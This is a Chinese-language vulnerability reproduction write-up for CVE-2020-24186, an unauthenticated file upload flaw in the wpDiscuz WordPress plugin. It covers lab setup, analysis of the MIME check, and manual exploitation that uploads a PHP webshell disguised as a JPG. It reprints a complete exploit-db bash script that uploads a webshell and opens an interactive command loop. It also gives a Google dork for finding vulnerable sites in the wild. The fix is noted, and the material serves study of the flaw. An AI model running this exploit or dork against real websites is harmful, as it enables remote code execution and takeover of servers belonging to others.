CVE-2020-24186 WordPress评论插件wpDiscuz任意文件上传漏洞

0x00 漏洞介绍

Wordfence的威胁情报团队在一款名叫wpDiscuz的Wordpress评论插件(wpDiscuz是WordPress功能丰富的评论系统插件,可充实网站评论部分)中发现了一个高危漏洞,此漏洞将允许未经认证的攻击者在目标站点中上传任意文件,从而实现远程代码执行。

0x01 漏洞环境

WordPress的gVectors wpDiscuz插件7.0至7.0.4版本中存在远程代码执行漏洞,允许未经验证的用户通过wmuUploadFiles Ajax操作上传任何类型的文件,包括PHP文件。

  • 攻击机:192.168.91.135 kali-2021
  • 目标机:192.168.91.1 windows10 phpstudy8.1.1.3
  • 工具:火狐浏览器、BurpSuite 2021
  • CMS与插件版本:Wordpress5.4.1、wpDiscuz7.0.4

0x02 漏洞搭建

Wordpress5.4.1下载地址

https://cn.wordpress.org/wordpress-5.4.1-zh_CN.tar.gz

wpDiscuz7.0.4+7.0.3下载地址(需T1Z1)

https://downloads.wordpress.org/plugin/wpdiscuz.7.0.4.zip
https://downloads.wordpress.org/plugin/wpdiscuz.7.0.3.zip   #7.0.3也可以下载,但是用不了github上的EXP!!下文会提到!!

phpstudy搭建wordpress

1、phpstudy启动web服务,创建网站,将下载的wordpress放入这里。创建网站的同时,可以新建一个数据库,记住数据库的名字、用户和密码,下面的步骤需要用到。

image-20220113140507467

2、将wpdiscuz 7.0.3放到\wordpress\wp-content\plugins目录下,还有个7.0.4,之后说一下。

image-20220113140710167

3、访问创建的网站,点击现在就开始

image-20220113141120334

4、填写数据库信息

image-20220113141152308

5、之后开始设定账号密码等

image-20220113141233519

6、安装成功

image-20220113141314312

7、安装成功后会跳转到这个界面,输入刚才设置的账号密码进入即可,账号:fuxian 密码:123@qwe

image-20220113141338484

8、登录成功后,点击左下方的插件

image-20220113141518783

9、可以看到就是7.0.3版本点击启用即可,至此靶场全部搭建完毕

image-20220113141541703

ubuntu-server 安装wordpress网站

1、安装apache2服务

apt update              
apt install apache2         #安装apache2
systemctl status apache2    #查看安装后的状态
/etc/init.d/apache2 start 或者  systemctl start system        #开启apache2
netstat -antlp | grep -in 80    #查找80端口确定开启

2、安装Mysql服务

apt update
apt install mysql-server #安装mysql-server
mysql --version         #查看版本信息
systemctl status mysql  #查看mysql状态
mysql_secure_installation   #配置mysql的安全选项,刚安装好mysql没有密码,直接回车就行,设置了新密码之后,如下
mysql -u root -p 即可进入mysql
mysql -u root 直接进入的原因是默认允许127.0.0.1直接链接。
image-20220113150412449

3、安装php语言环境

apt install php                     #默认就是安装php7,或者直接输入apt install php7
apt install libapache2-mod-php  #安装php的相关组件,如果没有这行命令,访问网站得到的是一个空白的页面!!!意思为php根本不解析!!!
apt install php-curl php-gd php-xml php-mbstring  php-xmlrpc php-zip php-soap php-intl              
#安装php与mysql之间的组件,如果没有这行命令,访问网站得到的是“您的mysql似乎没有安装wordpress应有组件”!!
systemctl restart mysql             #请务必重启一下!
systemctl restart apache2           #请务必重启一下!

4、之后访问网站就可以看到了

image-20220113162503752

5、之后先别着急安装,还有一步,即配置数据库和wp-config

创建 Wordpress运行需要的数据库和帐号,这里使用的数据库名wdpressdb,用户名wpuser,密码Wpuser123 可以根据自己需要修改。如果这一步不做,只是使用默认的root账号,是无法链接数据库的。

mysql -u root -p
create database wordpress;
create user 'wpuser'@'localhost' IDENTIFIED BY 'Wpuser123.com';
GRANT ALL ON wdpressdb.* TO 'wpuser'@'localhost' IDENTIFIED BY 'Wpuser123.com';
GRANT ALL PRIVILEGES ON *.* TO 'wpuser'@'localhost';
flush privileges;

之后再去访问网站,会发现有一个问题,就是无法写入,是因为没有写入权限。执行以下命令即可,即给其他用户添加个写入权限。

chmod 557 /var/www/html/wordpress   或者 chown -R www-data:www-data /var/www/html/wordpress
image-20220113171822914

6、因为是靶场,随便填写一个邮箱,然后继续安装即可

image-20220113172035167

7、安装成功

image-20220113172052293

坑点总结

感觉ubuntu安装wordpress全是坑,必须要总结一下

1、ubuntu安装apache2、mysql-server、php之后,还要安装相关的php组件,才能支持数据库和apache2的正常运行。安装完组件后,记得重启mysql和apache。

2、脚本不要轻易相信,试试就好了,并不都是好用的。。不过可以借助前辈写的脚本,自己更改优化一下。

0x03 漏洞范围

  • wpDiscuz7.0.0–7.0.4

0x04 漏洞条件

wordpress插件满足范围即可

0x05 漏洞原理

1、首先通过抓包发现点击评论区的图片后,是向admin-ajax.php提交POST请求。

image-20220117114359715

2、分析admin-ajax.php,追溯到wp-admin/includes/ajax-actions.php

image-20220117114642652

3、这里商场窜的文件名称会通过wp_check_filetype_and_ext来校验,随后将校验的结果赋予给$wp_filetype变量,之后再通过wp_match_mime_types进行校验文件类型。不符合就不允许上传,对MIME-TYPE校验不完整、严格,同时没有对文件头信息进行白名单匹配,可以轻易更改MIME-TYPEimage/jpg、文件头为GIF89A绕过。

image-20220117115204135

4、全局搜索一下wp_match_mime_typeswp_check_filetype_and_ext,看看到底这两个函数有什么作用。

apply_filters创建过滤器,是wordpress中非常重要的函数apply_filters( $tag, $value, $var... );

$tag定义过滤器名称(必须),$value需要过滤的值(必须),$var(可选字段),传给过滤函数额外的变量参数,辅助过滤函数对返回值进行操作,可以添加无限个。

#wp_match_mime_types位于/wp-includes/functions.php的2794行到2973行。
#这里取2823-2832行,还有很多行的MIME-TYPE种类校验。
$mime_to_ext = apply_filters(               
                'getimagesize_mimes_to_exts',   
                array(
                    'image/jpeg' => 'jpg',
                    'image/png'  => 'png',
                    'image/gif'  => 'gif',
                    'image/bmp'  => 'bmp',
                    'image/tiff' => 'tif',
                )
            );

0x06 漏洞复现

手动复现

1、进入一篇文章的评论处,点击图片标签。

image-20220113174541376

2、上传一个shell.jpg文件,此文件是shell.php更改了后缀的,再利用BurpSuite抓包

3、修改包的这两处位置,就是一个简单的文件头绕过

image-20220113174815194

4、在响应包中获取上传文件的路径

image-20220113175233280

5、复制下来直接粘贴到网页上,传个系统命令参数是可以的。

image-20220113180146470

6、若要链接蚁剑,将上传文件的路径复制下来,需要去掉URL转义符号如下,然后打开蚁剑,粘贴上去,链接成功

http:\/\/192.168.91.137\/wordpress\/wp-content\/uploads\/2022\/01\/shell-1642067533.474.php
http://192.168.91.137/wordpress/wp-content/uploads/2022/01/shell-1642067533.474.php
image-20220113175434642

EXP复现

前方是我踩坑的地方,有兴趣可以看看,借鉴借鉴

1、先从简单的开始,此项目github有exp,下载。可以看到,这个exp只能适用于7.0.4的!

proxychains git clone https://github.com/h3v0x/CVE-2020-24186-WordPress-wpDiscuz-7.0.4-RCE
proxychains git clone https://github.com/sukusec301/CVE-2020-24186-WordPress-wpDiscuz-7.0.4-RCE  #备份
image-20220113135856138

之前我安装的7.0.3不适用,可以成功上传,但是无法执行命令。

image-20220113144041430

2、重新安装了个7.0.4版本的,然后重新测试一下,确实可以,但是吧,这个路径给你硬生生改成了http://127.0.0.1:9090。。。

image-20220113152739036

3、最奇葩的是,后来我自己又装了一个ubuntu的测试了一下,如下图,就根本使用不了了。。。各种无语。看来工具还是自己写比较靠谱,既然用不了,就可以把github上的这个py脚本记录下来,以后自己重新编写一下。。。。

image-20220113174521916

0x07 漏洞修复

升级wpDiscuz版本。

https://downloads.wordpress.org/plugin/wpdiscuz.7.0.7.zip

在此版本中,isAllowedFileType函数中对extension后缀进行了检测,当MIME与后缀不一样时会在进入最后一步之前返回False,也就是说使用MIME的白名单来对上传文件的后缀进行了限制。

0x08 漏洞POC+EXP分析

下面这个EXP来源:https://www.exploit-db.com/exploits/49962,有时间研究一下

# Exploit Title: WordPress Plugin wpDiscuz 7.0.4 - Arbitrary File Upload (Unauthenticated)
# Google Dork: inurl:/wp-content/plugins/wpdiscuz/
# Date: 2021-06-06
# Original Author: Chloe Chamberland 
# Exploit Author: Juampa Rodríguez aka UnD3sc0n0c1d0
# Vendor Homepage: https://gvectors.com/
# Software Link: https://downloads.wordpress.org/plugin/wpdiscuz.7.0.4.zip
# Version: 7.0.4
# Tested on: Ubuntu / WordPress 5.6.2
# CVE : CVE-2020-24186

#!/bin/bash

if [ -z $1 ]
then
  echo -e "\n[i] Usage: exploit.sh [IP] [/index.php/2021/06/06/post]\n"
  exit 0
elif [ -z $2 ]
then
  echo -e "\n[i] Usage: exploit.sh [IP] [/index.php/2021/06/06/post]\n"
  exit 0
else

post=$(curl -sI http://$1$2/ | head -n1)

if [[ "$post" == *"200 OK"* ]]; then
    wmu_nonce=$(curl -s http://$1$2/ | sed -r "s/wmuSecurity/\nwmuSecurity/g" | grep wmuSecurity | cut -d '"' -f3)
    webshell=$(curl -isk -X 'POST' -H 'X-Requested-With: XMLHttpRequest' -H 'Content-Type: multipart/form-data; boundary=---------------------------WebKitFormBoundaryUnD3s' --data-binary $'-----------------------------WebKitFormBoundaryUnD3s\x0d\x0aContent-Disposition: form-data; name=\"action\"\x0d\x0a\x0d\x0awmuUploadFiles\x0d\x0a-----------------------------WebKitFormBoundaryUnD3s\x0d\x0aContent-Disposition: form-data; name=\"wmu_nonce\"\x0d\x0a\x0d\x0a'$wmu_nonce$'\x0d\x0a-----------------------------WebKitFormBoundaryUnD3s\x0d\x0aContent-Disposition: form-data; name=\"wmuAttachmentsData\"\x0d\x0a\x0d\x0aundefined\x0d\x0a-----------------------------WebKitFormBoundaryUnD3s\x0d\x0aContent-Disposition: form-data; name=\"wmu_files[0]\"; filename=\"a.php\" Content-Type: image/jpeg\x0d\x0a\x0d\x0aGIF8\x0d\x0a\x0d\x0a-----------------------------WebKitFormBoundaryUnD3s\x0d\x0aContent-Disposition: form-data; name=\"postId\"\x0d\x0a\x0d\x0a18\x0d\x0a-----------------------------WebKitFormBoundaryUnD3s--\x0d\x0a' http://$1/wp-admin/admin-ajax.php | sed 's/\":"\http/\nhttp/g' | grep "http\:\\\\/" | cut -d '"' -f1 | sed 's/\\//g')

    echo -e "\nWebshell:" $webshell"\n"
    echo -e "--------------WIN--------------"
    echo -e "        ¡Got  webshell!        "
    echo -e "-------------------------------\n"
    while :
    do
  read -p '$ ' command
  curl -s $webshell?cmd=$command | grep -v GIF8
done
else
    echo -e "\n[!] The indicated post was not found\n"
fi
fi

0x09 漏洞挖掘与实战

Google Dork: inurl:/wp-content/plugins/wpdiscuz/

0x10 Reference

https://cloud.tencent.com/developer/article/1709890?from=article.detail.1843895

https://www.exploit-db.com/exploits/49962

你可能感兴趣的:(CVE-2020-24186 WordPress评论插件wpDiscuz任意文件上传漏洞)